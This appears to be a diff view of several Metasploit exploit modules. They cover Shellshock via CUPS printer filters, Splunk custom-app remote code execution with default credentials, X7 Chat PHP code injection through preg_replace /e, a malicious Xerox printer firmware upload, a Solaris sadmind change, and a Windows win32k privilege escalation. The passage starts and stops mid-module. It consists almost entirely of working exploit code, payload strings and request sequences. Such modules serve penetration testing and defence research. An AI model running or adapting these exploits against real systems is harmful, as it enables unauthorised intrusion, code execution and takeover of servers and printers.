'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash awk ruby'
},
# Tested:
# - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
# - CUPS version 1.5.3 on Debian 7 (x64)
# - CUPS version 1.6.2 on Fedora 19 (x64)
# - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(631),
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
], self.class)
end
#
# CVE-2014-6271
#
def cve_2014_6271(cmd)
%{() { :;}; $(#{cmd}) & }
end
#
# CVE-2014-6278
#
def cve_2014_6278(cmd)
%{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}
end
#
# Check credentials
#
def check
@cookie = rand_text_alphanumeric(16)
printer_name = rand_text_alphanumeric(10 + rand(5))
res = add_printer(printer_name, '')
if !res
vprint_error("#{peer} - No response from host")
return Exploit::CheckCode::Unknown
elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/
vprint_status("#{peer} - Found CUPS version #{$1}")
else
print_status("#{peer} - Target is not a CUPS web server")
return Exploit::CheckCode::Safe
end
if res.body =~ /Set Default Options for #{printer_name}/
vprint_good("#{peer} - Added printer successfully")
delete_printer(printer_name)
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
vprint_error("#{peer} - Authentication failed")
elsif res.code == 426
vprint_error("#{peer} - SSL required - set SSL true")
end
Exploit::CheckCode::Detected
end
#
# Exploit
#
def exploit
@cookie = rand_text_alphanumeric(16)
printer_name = rand_text_alphanumeric(10 + rand(5))
# Select target CVE
case datastore['CVE']
when 'CVE-2014-6278'
cmd = cve_2014_6278(payload.raw)
else
cmd = cve_2014_6271(payload.raw)
end
# Add a printer containing the payload
# with a CUPS filter pointing to /bin/bash
res = add_printer(printer_name, cmd)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
elsif res.body =~ /Set Default Options for #{printer_name}/
print_good("#{peer} - Added printer successfully")
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
elsif res.code == 426
fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
else
fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
end
# Add a test page to the print queue.
# The print job triggers execution of the bash filter
# which executes the payload in the environment variables.
res = print_test_page(printer_name)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
elsif res.body =~ /Test page sent; job ID is/
vprint_good("#{peer} - Added test page to printer queue")
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
elsif res.code == 426
fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
else
fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
end
# Delete the printer
res = delete_printer(printer_name)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
elsif res.body =~ /has been deleted successfully/
print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
elsif res.code == 426
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
else
vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
end
end
#
# Add a printer to CUPS
#
def add_printer(printer_name, cmd)
vprint_status("#{peer} - Adding new printer '#{printer_name}'")
ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
ppd_file = <<-EOF
*PPD-Adobe: "4.3"
*%==== General Information Keywords ========================
*FormatVersion: "4.3"
*FileVersion: "1.00"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName: "#{ppd_name}"
*Manufacturer: "Brother"
*Product: "(Brother MFC-3820CN)"
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
*cupsVersion: 1.1
*cupsManualCopies: False
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
*cupsModelNumber: #{rand(10) + 1}
*ModelName: "Brother MFC-3820CN"
*ShortNickName: "Brother MFC-3820CN"
*NickName: "Brother MFC-3820CN CUPS v1.1"
*%
*%==== Basic Device Capabilities =============
*LanguageLevel: "3"
*ColorDevice: True
*DefaultColorSpace: RGB
*FileSystem: False
*Throughput: "12"
*LandscapeOrientation: Plus90
*VariablePaperSize: False
*TTRasterizer: Type42
*FreeVM: "1700000"
*DefaultOutputOrder: Reverse
*%==== Media Selection ======================
*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 18 AnySetup *PageSize
*DefaultPageSize: BrLetter
*PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
EOF
pd = Rex::MIME::Message.new
pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))
data = pd.to_s
data.strip!
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin'),
'ctype' => "multipart/form-data; boundary=#{pd.bound}",
'data' => data,
'cookie' => "org.cups.sid=#{@cookie};",
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
)
end
#
# Queue a printer test page
#
def print_test_page(printer_name)
vprint_status("#{peer} - Adding test page to printer queue")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'cookie' => "org.cups.sid=#{@cookie}",
'vars_post' => {
'org.cups.sid' => @cookie,
'OP' => 'print-test-page'
}
)
end
#
# Delete a printer
#
def delete_printer(printer_name)
vprint_status("#{peer} - Deleting printer '#{printer_name}'")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'cookie' => "org.cups.sid=#{@cookie}",
'vars_post' => {
'org.cups.sid' => @cookie,
'OP' => 'delete-printer',
'printer_name' => printer_name,
'confirm' => 'Delete Printer'
}
)
end
end

View File

@ -11,23 +11,24 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Splunk 5.0 Custom App Remote Code Execution',
'Description' => %q{
This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface. Through the 'script' search command a
super(update_info(
info,
'Name' => 'Splunk Custom App Remote Code Execution',
'Description' =>
'This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface. Through the \'script\' search command a
user can call commands defined in their custom application which includes arbitrary
perl or python code. To abuse this behavior, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
been tested successfully against Splunk 5.0.
},
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
tested successfully against Splunk 5.0, 6.1, and 6.1.1.',
'Author' =>
[
"marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module
"juan vazquez" # metasploit module
"juan vazquez", # metasploit module
"Gary Blosser" # metasploit module updates for Splunk 6.1
],
'License' => MSF_LICENSE,
'References' =>
@ -41,16 +42,16 @@ class Metasploit3 < Msf::Exploit::Remote
'Space' => 1024,
'DisableNops' => true
},
'Platform' => %w{ linux unix win },
'Platform' => %w(linux unix win),
'Targets' =>
[
[ 'Splunk 5.0.1 / Linux',
[ 'Splunk >= 5.0.1 / Linux',
{
'Arch' => ARCH_CMD,
'Platform' => %w{ linux unix }
'Platform' => %w(linux unix)
}
],
[ 'Splunk 5.0.1 / Windows',
[ 'Splunk >= 5.0.1 / Windows',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
@ -62,9 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
OptPath.new('SPLUNK_APP_FILE',
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
OptPath.new(
'SPLUNK_APP_FILE',
[
true,
'The "rogue" Splunk application tgz',
@ -96,6 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
# set up some variables for later use
@auth_cookies = ''
@csrf_form_key = ''
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
app_name = 'upload_app_exec'
p = payload.encoded
print_status("Using command: #{p}")
@ -118,14 +121,13 @@ class Metasploit3 < Msf::Exploit::Remote
# call our command execution function with the Splunk 'script' command
print_status("Invoking script command")
res = send_request_cgi(
{
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => @auth_cookies,
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @csrf_form_key
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
},
'vars_post' =>
{
@ -142,24 +144,24 @@ class Metasploit3 < Msf::Exploit::Remote
'latest_time' => "",
'timeFormat' => "%s.%Q"
}
})
)
if return_output
res.body.match(/data":\ "([0-9.]+)"/)
job_id = $1
job_id = Regexp.last_match(1)
# wait a short time to let the output be produced
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
select(nil,nil,nil,command_output_delay)
select(nil, nil, nil, command_output_delay)
job_output = fetch_job_output(job_id)
if job_output.body.match(/Waiting for data.../)
print_status("No output returned in time")
elsese
else
output = ""
job_output.body.each_line do |line|
# strip off the leading and trailing " added by Splunk
line.gsub!(/^"/,"")
line.gsub!(/"$/,"")
line.gsub!(/^"/, "")
line.gsub!(/"$/, "")
output << line
end
@ -181,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'GET'
}, 25)
if res and res.body =~ /Splunk Inc\. Splunk/
if res && res.body =~ /Splunk Inc\. Splunk/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
@ -192,18 +194,17 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Authenticating...")
# this method borrowed with thanks from splunk_mappy_exec.rb
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
})
)
cval = ''
uid = ''
session_id_port =
session_id = ''
if res and res.code == 200
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if res && res.code == 200
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
@ -212,14 +213,13 @@ class Metasploit3 < Msf::Exploit::Remote
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
end
end
else
fail_with(Failure::NotFound, "Unable to get session cookies")
end
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
@ -229,21 +229,21 @@ class Metasploit3 < Msf::Exploit::Remote
'username' => @username,
'password' => @password
}
})
)
if not res or res.code != 303
fail_with(Failure::NoAccess, "Unable to authenticate")
if !res
fail_with(Failure::Unreachable, "No response")
else
session_id_port = ''
session_id = ''
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
end
end
@auth_cookies = "#{session_id_port}=#{session_id}"
end
end
@ -271,15 +271,17 @@ class Metasploit3 < Msf::Exploit::Remote
data << file_data
data << "\r\n--#{boundary}--\r\n"
res = send_request_cgi({
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => @auth_cookies,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)
res = send_request_cgi(
{
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)
if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
print_status("#{app_name} successfully uploaded")
else
fail_with(Failure::Unknown, "Error uploading")
@ -289,26 +291,35 @@ class Metasploit3 < Msf::Exploit::Remote
def do_get_csrf(uri)
print_status("Fetching csrf token from #{uri}")
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'cookie' => @auth_cookies
})
res.body.match(/FORM_KEY":\ "(\d+)"/)
@csrf_form_key = $1
fail_with(Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
)
res.body.match(/FORM_KEY":\ "(\d+)"/) # Version 5
@csrf_form_key = Regexp.last_match(1)
unless @csrf_form_key # Version 6
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /splunkweb_csrf_token/ # regex as the full name is something like splunkweb_csrf_token_8000
@csrf_form_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
@csrf_form_key = v.split('=')[1]
end
end
end
end
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
end
def fetch_job_output(job_id)
# fetch the output of our job id as csv for easy parsing
print_status("Fetching job_output for id #{job_id}")
res = send_request_raw(
{
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
send_request_raw(
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
'method' => 'GET',
'cookie' => @auth_cookies,
'encode_param' => 'false'
})
)
end
end

View File

@ -0,0 +1,193 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
'Description' => %q{
This module exploits a post-auth vulnerability found in X7 Chat versions
2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
uses preg_replace() function with the /e modifier. This allows a remote
authenticated attacker to execute arbitrary PHP code in the remote machine.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
],
'References' =>
[
# Using this URL because isn't nothing else atm
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => 'Oct 27 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
], self.class)
end
def check
res = exec_php('phpinfo(); die();', true)
if res && res.body =~ /This program makes use of the Zend/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
end
def exec_php(php_code, is_check = false)
# remove comments, line breaks and spaces of php_code
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
while Rex::Text.encode_base64(payload_clean) =~ /=/
payload_clean = "#{ payload_clean } "
end
payload_b64 = Rex::Text.encode_base64(payload_clean)
cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
print_status("Trying for version 2.0.2 up to 2.0.5.1")
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
},
'vars_get' => {
# value compatible with 2.0.2 up to 2.0.5.1
'act' => 'user_cp',
'cp_page' => 'msgcenter',
'to' => datastore['USERNAME'],
'subject' => rand_text,
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
}
})
unless res && res.code == 200
print_error("Sending the message (#{ rand_text }) has failed")
return false
end
if res.body =~ /([0-9]*)">#{ rand_text }/
message_id = Regexp.last_match[1]
user_panel = 'user_cp'
else
print_error("Could not find message (#{ rand_text }) in the message list")
print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
},
'vars_get' => {
# value compatible with 2.0.0 up to 2.0.1 a1
'act' => 'usercp',
'cp_page' => 'msgcenter',
'to' => datastore['USERNAME'],
'subject' => rand_text,
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
}
})
unless res && res.code == 200
print_error("Sending the message (#{ rand_text }) has failed")
return false
end
if res.body =~ /([0-9]*)">#{ rand_text }/
message_id = Regexp.last_match[1]
user_panel = 'usercp'
else
print_error("Could not find message (#{ rand_text }) in the message list")
return false
end
end
print_status("Accessing message (#{ rand_text })")
print_status("Sending payload in HTTP header '#{ rand_text }'")
if is_check
timeout = 20
else
timeout = 3
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
rand_text => payload_b64,
},
'vars_get' => {
'act' => user_panel,
'cp_page' => 'msgcenter',
'read' => message_id,
}
}, timeout)
res_payload = res
print_status("Deleting message (#{ rand_text })")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
},
'vars_get' => {
'act' => user_panel,
'cp_page' => 'msgcenter',
'delete' => message_id,
}
})
if res && res.body =~ /The message has been deleted/
print_good("Message (#{ rand_text }) removed")
else
print_error("Removing message (#{ rand_text }) has failed")
return false
end
# if check return the response
if is_check
return res_payload
else
return true
end
end
def exploit
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
end
end
end

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
Vulnerable systems include solaris 2.7, 8, and 9
},
'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz' ],
'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz', 'midnitesnake' ],
'License' => MSF_LICENSE,
'References' =>
[
@ -35,9 +35,10 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
'Compat' =>
{
'PayloadType' => 'cmd',
@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
hostname = datastore['HOSTNAME']
end
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
response = sadmind_request(hostname, payload.encoded)
sunrpc_destroy

View File

@ -0,0 +1,98 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Xerox Multifunction Printers (MFP) "Patch" DLM Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in Xerox Multifunction Printers (MFP). By
supplying a modified Dynamic Loadable Module (DLM), it is possible to execute arbitrary
commands under root priviages.
},
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi'
],
'References' =>
[
['BID', '52483'],
['URL', 'http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf'],
['URL', 'http://foofus.net/goons/percx/Xerox_hack.pdf']
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp'
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Mar 07 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9100)
], self.class)
end
def exploit
print_status("#{rhost}:#{rport} - Sending print job...")
firmcode = '%%XRXbegin' + "\x0A"
firmcode << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A"
firmcode << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A"
firmcode << '%%OID_ATT_JOB_COMMENT "PraedaPWN2014:' + "#{payload.encoded}" + ':"' + "\x0A"
firmcode << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A"
firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"
firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"
firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A"
firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"
firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED"
firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74"
firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A"
firmcode << "\xD7\xCC\xB4\xD3\x1D\xF6\xE1\x8D\xDD\x64\xB8\x83\x3B\x0D\x11\xFE"
firmcode << "\xBF\x43\x03\xAF\x2F\xEF\xBD\xB4\x64\xA3\xAD\xD9\x8C\xDA\xD2\x3B"
firmcode << "\xA3\xD0\xB9\x19\x8F\xFB\xD5\x39\x5E\xC3\x58\x4E\xBC\x48\xC6\x52"
firmcode << "\x5E\x87\xE3\x89\x8C\xBD\x30\x8A\xE4\x44\x7A\x08\xCF\x39\xD4\xB7"
firmcode << "\x75\xDB\x29\x0B\x78\xD6\x98\xEE\xB7\xBC\x53\xEF\xFF\xA9\xCB\x0B"
firmcode << "\xB1\xA8\x1A\xB1\x50\x6D\xE9\x17\x55\x9D\xA4\x2F\x56\xAF\x10\xD4"
firmcode << "\x08\x1E\x30\x9C\x59\xA5\x73\x35\x7B\x7A\x94\x61\x14\x0F\x21\xDE"
firmcode << "\x95\x15\xED\xCA\x98\x5A\x34\x99\x68\x74\x27\x5E\xCD\x62\x7A\x35"
firmcode << "\x8A\x52\xBF\x2A\xF0\x8C\xA0\xC0\xC0\xD5\xC0\xDC\xEF\x4A\xDD\xF8"
firmcode << "\xC0\x47\x59\xD5\x1A\x56\xAB\x1C\x75\xD5\x68\x17\xC9\x8D\x7B\x00"
firmcode << "\x3A\x2B\x0D\x06\x5F\x31\x6C\xB1\xEB\xF8\x06\xFC\x68\xD7\xE7\xF5"
firmcode << "\x65\x07\xF7\x48\x12\x84\x98\xDF\x62\x5F\x17\xC8\xCC\x72\xA9\x9A"
firmcode << "\x3C\x49\x0F\x95\xB6\xD9\xBA\x43\x90\x4F\xDD\x18\x32\xED\x93\x8A"
firmcode << "\xAA\xEF\xE8\x9A\xDC\xF5\x83\xF9\xBB\xE4\xFD\xDE\xED\xE1\xE0\x76"
firmcode << "\x89\x91\xD8\xEC\x6F\x82\xFB\x0C\xFE\x5F\xFF\x15\x22\x22\x22\x22"
firmcode << "\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\xA2\xD3\x3E"
firmcode << "\x01\x5A\x18\x54\xBB\x00\x28\x00\x00"
begin
connect
sock.put(firmcode)
handler
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse => e
print_error("#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end
end

View File

@ -0,0 +1,155 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre', # msf module (x64 target)
'OJ Reeves <oj[at]buffered.io>'
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested on (32 bits):
# * Windows XP SP3
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 2008 R2 SP1
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
['CVE', '2014-4113'],
['OSVDB', '113167'],
['BID', '70364'],
['MSB', 'MS14-058'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
],
'DisclosureDate' => 'Oct 14 2014',
'DefaultTarget' => 0
}))
end
def check
os = sysinfo["OS"]
if os !~ /windows/i
return Exploit::CheckCode::Unknown
end
if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
# Neither target suports Windows 8 or 8.1
return Exploit::CheckCode::Safe if build == 9200
return Exploit::CheckCode::Safe if build == 9600
return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
return Exploit::CheckCode::Unknown
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
